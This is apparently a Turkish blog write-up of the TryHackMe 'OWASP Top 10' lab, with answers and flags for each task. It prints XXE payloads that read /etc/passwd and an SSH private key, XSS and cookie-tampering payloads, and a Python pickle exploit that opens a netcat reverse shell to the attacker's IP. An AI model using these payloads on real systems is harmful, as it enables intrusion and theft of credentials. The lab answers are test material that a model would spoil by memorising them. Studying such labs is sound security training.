OWASP Top 10 Tryhackme Writeup
- Songül ÖZÜGÜRLER
- 28 Nis
- 5 dakikada okunur
OWASP Top 10 Tryhackme Writeup

Merhaba bu yazımda tryhackme owasp top 10 odasının çözümünü anlatmaya çalışıcağım
Task 1 Introduction


Task 2 Accessing machines
openvpn kullanarak makineye bağlanalım


Task 3 [Severity 1] Injection


Task 4 [Severity 1] OS Command Injection

Task 5 [Severity 1] Command Injection Practical




soru 1

http://ip bu dizine gitmemiz isteniyor

bu kısımda bize shell yüklenmiş bi sayfa verilmiş
ls komutunu vererek dizindeki dosyalara göz atalım

evilshell.php şu anki shell index.php index dosyamız
burda en ilgi çekici dosya drpeper.txt dosyası
cevap: drpepper.txt
soru 2

cat /etc/passwd ile dosyamızı okuyalım

hizmet dışı kullanıcı yok
cevap : 0
soru 3

whoami komutu bize hangi kulalnıcı olduğumuzu söyler

cevap : www-data
soru 4

cat /etc/passwd dosyasından bakabiliriz
cevap : /usr/sbin/nologin
soru 5

hostnamectl komutu ile sürümü öğrenebilirz

cevap : 18.04.4
soru 6

motd ye çıktı vermemizi istiyor
motd nedir sorusunun cevabı eskiden linuxda grafik arayüz olmadığı zamanlarda motd dosyası ile mesaj bırakırlarmış ascıı art resimleri örnek olabilir motd dosyaları genelde etc dizinin altında bulunur
ipucuna baktığımızda ise başlıkdan bahsediyordu

cd /etc && locate motd komutunu kullanarak motd dosyalarını aradım
ve 00 başlıklı dosyayı buldum

cat ile dosyayı okuyalım

cevap : DR PEPPER
Task 6 Broken Authentication



Task 7 Broken Authentication Pratik

makineyi başlatalım ve verilen ip adresinin 8888. portuna gidelim

bu odanın Broken Authentication üzerine yoğunlaşıcağını söyleyen bir yazı var parağrafta anlatıldığı gibi önüne boşluk koyarak Darren adlı kullanıcıyı kaydetmeye çalışalım

burp suite ile isteği keselim

isteği yakalayalım repertera gönderelim ve değiştirelim

evet değişti giriş yapalım

darrene ait hakları ile yeni bi kulanıcı açıldı ve bize flağı verdi

aynı işlemi arthur için yapıp flağı alalım
Sensitive Data Exposure (Introduction)
[Severity 3] Sensitive Data Exposure (Supporting Material 1)




[Severity 3] Sensitive Data Exposure (Supporting Material 2)




[Severity 3] Sensitive Data Exposure (Challenge)

bize verilen ip adresine dirb ile küçük bir dizin taraması yapmamız gerekiyor


bahsettiğimiz dizinin adı assets içinde veritabanı bilgileri var

sqlite3 ile db i açıp hash bilgilerini alalım

ve bu sitede çözelim admin ve bob a ait hashi kırdı fakat alice kırılmadı




giriş yapalım ve flağımızı alalım

Task 12 [Severity 4] XML External Entity


Task 13 [Severity 4 XML External Entity — eXtensible Markup Language




xml in açılımını sormuş
cevap : Extensible Markup Language

yukardaki parağraftada anlatıldığı gibi evet
cevap: yes

cevap : XML prolog
Task 14 [Severity 4] XML External Entity — DTD



cevap :!ELEMENT

cevap:!DOCTYPE

cevap:!ENTITY
Task 15 [Severity 4] XML External Entity — XXE Payload


Task 16 [Severity 4] XML External Entity — Exploiting


soru 1

first name ve last name adımızı görüntüler
<!DOCTYPE replace [<!ENTITY name “feast”> ]> <userInfo> <firstName>falcon</firstName> <lastName>&Songül;</lastName> </userInfo>

soru 2

<?xml version=”1.0"?> <!DOCTYPE root [<!ENTITY read SYSTEM ‘file:///etc/passwd’>]> <root>&read;</root>
bu komutla passwd dosyasını okuyabiliriz

soru 3

passwd dosyasına baktığımızda adının falcon olduğunu görüyoruz
soru 4

ssh anahtarları genelde home dizini altında .ssh klasörü içindedir ama biz okumayı deneyelim
<?xml version=”1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM ‘ file:///home/falcon/.ssh/id_rsa ’>]>
<root>&read;</root>

id rsa bağlantısını kaydedip ssh üzerinden bağlanmayı denerseniz flağa ulaşabilirsiniz
Task 17 [Severity 5] Broken Access Control


Task 18 [Severity 5] Broken Access Control (IDOR Challenge)

soru 1

verdiği ipde bir giriş sayfası vardı. Adımızı ve şifremizi biliyoruz giriş yapalım

soru 2

note değerini değiştirerek flağa erişebiliriz

Task 19 [Severity 6] Security Misconfiguration



veridiği ip adresine gidelim ve bir bir not uygulaması buldum ipucuna tıkladığımda ise

kaynak koduna bakmamı istiyordu anlaşılan giriş şifresini varsayılan parola olarak bırakmış ve değişitrmemiş github dan şifreyi alalım

şifreyi bulduk

flağımızda burda
Task 20 [Severity 7] Cross-site Scripting



soru 1

verdiği ip den sayfaya gittiğimde bir TryHackMe XSS oyun alanı adlı bir
sayfa karşılıyor kayıt olup giriş yapalım

reflected xss sayfasına geldiğimde reflected xss oluşturmamı istiyor reflected xss doğrudan web sayfasında işlendiğini söylüyor
<script>alert(Hello)</script> komutunu çalılştıralım

soru 2

IP adreslerinin kullanıcının konumuyla ilişkili olduğunu biliyoruz ve aynı şekilde JavaScript’te window.location.hostname kurbanın IP adresini alabilen, çağrılan bir nesne var. Aynı yükü bir önceki soruda kullanabilir ve bu soruyu tamamlamak için değiştirebiliriz.
<script>alert(window.location.hostname)</script>

cevap :ReflectiveXss4TheWin
soru 3

Sonraki birkaç soru, storedf XSS’e dayanmaktadır. html etiketi ile bir metin yazmamızı istiyor. Ben html de parağraf için kullanılan <p> etiketini kullanıcam
<p>paragraf</p>

cevap : HTML_T4gs
soru 4

uyarı için alert kullanıcaz belge tanımlama bilgileri içinse document.cookies
<script>alert(document.cookies)</script>

cevap : W3LL_D0N3_LVL2
soru 5

Bu soru biraz zordu Bu soruyu tamamlamak için document.queryselector , belirtilen seçiciyle eşleşen belge içindeki ilk öğeyi döndüren JavaScript nesnesini kullanabiliriz . Bu nedenle, önce "XSS Playground" ı bulmamız gerekiyor.
Bunu yapmak için, “ XSS Playground ” metnini seçip, sağ tıklayıp inspect element e tıklayalım

document.querySelector içine yazcağımız id yi bulduk
<script>document.querySelector(‘#thm-title’).textContent = ‘I am a hacker’</script>

cevap : websites_can_be_easily_defaced_with_xss
Task 21 [Severity 8] Insecure Deserialization


soru 1

küçük bir google araştırması ile bulabiliriz
cevap : The Apache Software Foundation
soru 2

ipucunda dos saldırısı olarak da bilindiğini söyledi.
cevap : Denial of Service
Task 22 [Severity 8] Insecure Deserialization — Objects

bir köpek uyurken nesnenin hali davranıştır
cevap: A Behaviour
Task 23 [Severity 8] Insecure Deserialization — Deserialization


Bu sorunun cevabı, ‘base-2 formatı’ google’da aranarak doğrudan bulunabilir.
cevap : binary
Task 24 [Severity 8] Insecure Deserialization — Cookies




soru 1

Çerezler kaydediliğinde , geçerli oldukları yol da açıklanır. Çerezin geçerli olduğu URL, sorunun kendisinde mevcuttur.
cevap: webapp.com/login
soru 2

HTTP yalnızca güvenli modunda güvenli tanımlama bilgilerini destekler.
cevap:https
Task 25 [Severity 8] Insecure Deserialization — Cookies Practical



soru 1

siteye gidip kayıt oluşturalım ve sayfadaki çerezleri inceleyelim

çerez değerimiz base64 ile şifrelenmiş
terminalden echo çerezdeğeri | base64 -d komutunu çalıştırarak çözebilirz

ilk flağımız burda
THM{good_old_base64_huh}
soru 2

Şu anda bir kullanıcı olarak oturum açıyoruz, admin flağını almak için hesap türümüzü ‘admin’ olarak değiştirmemiz gerekiyor. Bu userType , çerezler bölümündeki çerezde 'user' yerine 'admin' yazılarak yapılabilir . İşimiz bittiğinde, http://machine_ip/admin sayfanın kendisinde bayrağı bulabilir ve bulabiliriz.

Task 26 [Severity 8] Insecure Deserialization — Code Execution







söylediği adımları tek tek yerine getirelim
1. adım user kulalnıcı açmak

2. adım
vime sol tıklayalım be feedback sayfasına dönelim bu kısımda flask dan bahsetmiş flask nedir sorumuza cevap arayalım
Flask Web uygulamalarını geliştirmemizi sağlayan %100 Python ile yazılmış bir microframewroktur. Küçük bir framework olmasına karşın oldukça hızlı bir frameworktur veritabanında depolamak için veriler flaska gönderiliyor
minik bilgilendirmemizden sonra konuya dönelim
kalide netcat dinleyicimizi açalım

şu anda 4444 portuna gelen her bağlantıyı dinliyoruz
import pickle
import sys
import base64 command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f' class rce(object):
def __reduce__(self):
import os
return (os.system,(command,)) print(base64.b64encode(pickle.dumps(rce())))bu python betiğinde kendi ip adresimizi yerleştirelim ve
python3 dosyaadı.py yi çalıştıralım
bize base64 e çevrilmiş halini vericek

Bunu tarayıcınızdaki “ encodingPayload ” çerezine yapıştırın:

Netcat dinleyicimizin hala çalıştığından emin olun ve sayfayı yenileyin askıda kalacak netcate dönelim . flag txt dosyasnı bulduk 🎊

Task 27 [Severity 9] Components With Known Vulnerabilities — Intro

Task 28 [Severity 9] Components With Known Vulnerabilities — Exploit





Task 29 [Severity 9] Components With Known Vulnerabilities — Lab

soru 1

bize verilen ip adresine nmap taraması yapalım
nmap -sV -sC ip

ssh ve bir http servisi çalışıyor web sitesine gidelim

Kitapçıdaki güvenlik açığını araştırabiliriz. evet onu burda bulduk
indirelim ve çalıştıralım

şimdi etc/passwd içinde kaç karakter var ona bakalım
wc -c /etc/passwd

cevap : 1611
Task 30 [Severity 10] Insufficient Logging and Monitoring


bize verilen dosyayı indirelim.

soru 1

Sürekli farklı bir kullanıcı adı ile sisteme girmeye çalışan birini görüyoruz.
cevap : 49.99.13.16
soru 2

HTTP 401 Yetkisiz istemci hata durumu yanıt kodu, hedef kaynak için geçerli kimlik doğrulama bilgilerine sahip olmadığı için isteğin uygulanmadığını gösterir.
Yani brute force saldırısı diyebiliriz çünkü birisinin sürekli olarak farklı bir kullanıcı ile şifre denediğini görüyoruz.
cevap : Brute force







